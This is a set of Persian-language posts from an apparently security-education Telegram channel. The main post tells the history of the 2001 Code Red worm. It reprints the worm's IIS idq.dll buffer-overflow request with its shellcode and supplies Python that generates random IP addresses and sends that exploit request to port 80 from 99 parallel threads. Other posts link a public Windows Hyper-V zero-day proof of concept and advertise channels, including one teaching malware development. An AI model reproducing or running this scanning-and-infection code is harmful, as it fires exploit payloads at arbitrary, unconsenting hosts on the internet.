Postagens do Canal Try Hack Box

🪱 کد رد (Code Red)

• صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعه‌های نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را می‌نوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام این بدافزار را به یاد نوشیدنی مورد علاقه‌شان، «کد رد» بگذارند. این نام برای بسیاری از قربانیان کرم به یاد ماندنی شد، چرا که در عرض چند روز، کد رد اینترنت را تسخیر کرد.

• چگونگی گسترش کرم: بعدها مشخص شد که گسترش این کرم از ۱۳ ژوئیه ۲۰۰۱ آغاز شده بود. این بدافزار از یک آسیب‌پذیری در وب‌سرور Internet Information Server (IIS) استفاده می‌کرد که مربوط به سرریز بافر (Buffer Overflow) بود. اگرچه مایکروسافت یک ماه قبل از این اتفاق، وصله‌ای برای رفع این آسیب‌پذیری منتشر کرده بود، اما بسیاری از مدیران سیستم‌ها به‌موقع این به‌روزرسانی را نصب نکرده بودند. همین موضوع دلیل اصلی شیوع گسترده این کرم شد.

• آسیب‌پذیری مورد استفاده: کرم اینترنتی از یک آسیب‌پذیری ساده در یکی از ماژول‌های وب‌سرور، به‌طور خاص در بخش افزونه‌ایندکس کردن داده‌ها، سوءاستفاده می‌کرد. در کتابخانه idq.dll یک اشکال مربوط به سرریز بافر وجود داشت. این آسیب‌پذیری با شناسه MS01-33 شناخته می‌شد. با استانداردهای امروزی، این یک اشکال بسیار ساده است که می‌توان با ارسال یک درخواست بسیار طولانی به سرور، آن را مورد سوءاستفاده قرار داد. مثلاً:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

در این درخواست، داده‌های بعد از کاراکترهای N به عنوان دستورات تفسیر و اجرا می‌شوند. تمام کد مخرب در خود درخواست قرار دارد، بنابراین اگر سرور آسیب‌پذیر باشد، بلافاصله و با احتمال ۱۰۰٪ آلوده می‌شود.

• رفتار کرم: رفتار کرم بسته به تاریخ روز متفاوت بود. از روز ۱ تا ۱۹ هر ماه، کرم فقط به گسترش خود می‌پرداخت: با اسکن سرورهای اینترنتی، درخواست‌های مخرب را به آن‌ها ارسال می‌کرد. برای این کار، روی هر سیستم آلوده، ۹۹ thread موازی ایجاد می‌شد که هر کدام لیستی از کامپیوترهای جدید برای آلوده‌سازی را تولید می‌کردند. از روز ۲۰ تا ۲۷ هر ماه، کرم حملات DDoS را علیه لیستی از آدرس‌های IP که در کد آن تعبیه شده بود، انجام می‌داد. یکی از این آدرس‌ها، مربوط به وب‌سایت کاخ سفید بود.

• اوج شیوع: اگرچه گسترش کرم در ۱۵ ژوئیه ۲۰۰۱ گزارش شد، اما اوج آن در ۱۹ ژوئیه اتفاق افتاد، زمانی که بیش از ۳۵۹ هزار سرور آلوده شده بودند. بعدها، با نصب به‌روزرسانی‌های امنیتی مایکروسافت توسط مدیران سیستم‌ها، شیوع کرم کاهش یافت. البته نسخه دوم کرم با نام Code Red II نیز ظهور کرد که از کاراکترهای X به جای N در درخواست‌های خود استفاده می‌کرد.

• نتیجه‌گیری: از این ماجرا دو درس مهم می‌توان گرفت. اول اینکه نصب به‌موقع وصله‌های امنیتی که ۲۴ سال پیش اهمیت زیادی داشت، هنوز هم موضوعی حیاتی است. دوم اینکه خوش‌شانسی بزرگی بود که کد رد فایل‌ها را رمزنگاری نمی‌کرد، پسوردها را نمی‌دزدید یا داده‌ها را نابود نمی‌کرد. اگر هدف مهاجمان مخرب‌تر بود، عواقب این حمله می‌توانست بسیار فاجعه‌بارتر باشد.

@TryHackBoxStory

تحلیل حمله بر فرض مثال چطوری کرم گسترش پیدا کرده :

۱. روش اصلی حمله: سوءاستفاده از آسیب‌پذیری سرریز بافر (Buffer Overflow)

هدف: وب‌سرورهای Microsoft IIS (Internet Information Services) که نسخه‌های آسیب‌پذیر کتابخانه idq.dll را اجرا می‌کردند.

مکانیزم:
کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکس‌سازی (Indexing Service) می‌شد:

GET /default.ida?[رشته طولانی از Nها]%u9090%u6858%ucbd3%u7801... HTTP/1.0

رشته Nها باعث سرریز بافر و بازنویسی حافظه می‌شد.

کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم می‌داد.

۲. روش‌های گسترش خودکار

+ اسکن تصادفی IPها:
کرم به صورت خودکار آدرس‌های IP تصادفی را اسکن می‌کرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال می‌نمود.

اسکن تصادفی IPها
کرم Code Red از الگوریتم‌های ساده‌ای برای تولید آدرس‌های IP تصادفی استفاده می‌کرد. در پایتون، این فرآیند را می‌توان به صورت زیر شبیه‌سازی کرد:

import random

def generate_random_ip():
    return ".".join(str(random.randint(0, 255)) for _ in range(4))

# مثال: تولید ۱۰ آدرس IP تصادفی
for _ in range(10):
    print(generate_random_ip())

+ ارسال درخواست مخرب به پورت ۸۰
کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه socket شبیه‌سازی کرد:

import socket

def send_malicious_request(ip):
    try:
        # ایجاد یک سوکت TCP
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)  # تنظیم timeout برای اتصال
        sock.connect((ip, 80))  # اتصال به پورت ۸۰
        
        # ارسال درخواست مخرب
        malicious_request = (
            "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\r\n"
            "Host: example.com\r\n"
            "\r\n"
        )
        sock.send(malicious_request.encode())
        
        # دریافت پاسخ (اختیاری)
        response = sock.recv(4096)
        print(f"Response from {ip}: {response.decode()}")
        
        sock.close()
    except Exception as e:
        print(f"Failed to connect to {ip}: {e}")

# مثال: ارسال درخواست به یک IP تصادفی
random_ip = generate_random_ip()
send_malicious_request(random_ip)

تکثیر موازی:
روی هر سیستم آلوده، ۹۹ thread موازی ایجاد می‌کرد تا اسکن و آلوده‌سازی را تسریع کند.

+ ایجاد Threadهای موازی برای اسکن و آلوده‌سازی
کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلوده‌سازی استفاده می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه threading شبیه‌سازی کرد:

import threading

def scan_and_infect(ip):
    print(f"Scanning {ip}...")
    send_malicious_request(ip)

# ایجاد ۹۹ thread موازی
threads = []
for _ in range(99):
    ip = generate_random_ip()
    thread = threading.Thread(target=scan_and_infect, args=(ip,))
    thread.start()
    threads.append(thread)

# منتظر ماندن برای اتمام تمام threadها
for thread in threads:
    thread.join()

---

عدم نیاز به تعامل کاربر:
برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد!

جمع‌بندی
این کدها صرفاً برای درک بهتر مکانیزم‌های گسترش کرم Code Red ارائه شده‌اند. امروزه، چنین حملاتی با استفاده از فایروال‌ها، سیستم‌های تشخیص نفوذ (IDS)، و به‌روزرسانی‌های امنیتی به راحتی قابل پیشگیری هستند.

@TryHackBoxStory

سریال روز صفر Zero Day 2025

مینی‌سریال "روز صفر" داستان رئیس‌جمهور سابق ایالات متحده "جرج مالن" را روایت می‌کند که مأموریت دارد عاملان یک حمله سایبری ویرانگر را که کشور را دچار هرج‌ومرج کرده است، شناسایی کند. در جریان تحقیقات، او با رازهای تاریک خود مواجه شده و نزدیکانش را در معرض خطر می‌بیند و ...
#معرفی_فیلم
@TryHackBox

⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️

💠 تست نفوذ را رایگان یاد بگیر .
⭕️ @TryHackBox

📖 کتاب ها و منابع Cyber Security
📚 @LibrarySecOfficial

💠 رودمپ های مختلف از جمله ردتیم بلوتیم تست نفوذ و ...
⭕️ @TryHackBoxOfficial

💠 منابع BlueTeam :
⭕️ @BlueTeamKit

💠 ابزارها و دوره های OSINT
⭕️ @OsintGit

💠 برگزاری دوره های امنیت سایبری
⭕️ @kasraone_com

💠 تمامی منابع Red Team اینجاست!
💠 آموزش توسعه بدافزار (رایگان)
⭕️ @RedTeamVillageRTV

💠 منابع CTF و رایت آپ ها و دوره های HackTheBox  :
⭕️ @PfkCTF

💠 دوره های آموزشی - CVE-Exploit
⭕️ @HackTheBox_Academy

💠 آموزش و علم کامپیوتر و هک وب
⭕️ @qp_learn


💠 برای اضافه شدن در لیست پیام دهید :
🤖 @Unique_exploitbot

CVE-2025-21333

Windows Hyper-V Zero-Day

https://github.com/MrAle98/CVE-2025-21333-POC

@TryHackBox

موتور جستجوی Bug Bounty Hunting
https://www.bugbountyhunting.com/

#BugBounty
@TryHackBox

دعوت جهت عضویت در تیم :

به یک ادمین نیازمندیم که در زمینه ی تست نفوذ وب و باگ بانتی  فعالیت داشته باشد.

به یک ادمین هم نیازمندیم که فایل هایی که قرار میدیم رو به صورت ویدئو رکورد کنه .


هرکس مایل به ادمین شدن بود پیام بده :
@Unique_exploitbot

فایل اپدیت شد دوستان

[+] What is BuiltWith ?

[+] کاربرد BuiltWith برای هکرها و پنتسترها .
[+] منظور از داده‌های تاریخی چیست؟
[+] استفاده هکرها و پنتسترها از داده‌های تاریخی.
[+] مثال برای هکرها و پنتسترها .
[+] ابزارها و دستورات برای جمع‌آوری داده‌های تاریخی
[+] ابزارها و دستورات برای تحلیل داده‌های تاریخی
[+] مثال عملی
[+] چگونه لیستی از دامنه‌هایی که به احتمال زیاد متعلق به مالک یک سایت خاص هستند را به دست آوریم؟
#BuiltWith
@TryHackBox

دوستانی که دوره سکوریتی پلاس مارو میگذرونند ، ما یک گروه ایجاد کردیم که فایل تمرینی یا اگر سوالی یا مشکلی داشتید بپرسید و فایل ها رو در اختیارتون قرار بدیم اگر مایل بودید به گروه بپیوندید به ما پیام دهید لینک گروه رو ارسال کنیم برای شما :

@Unique_exploitbot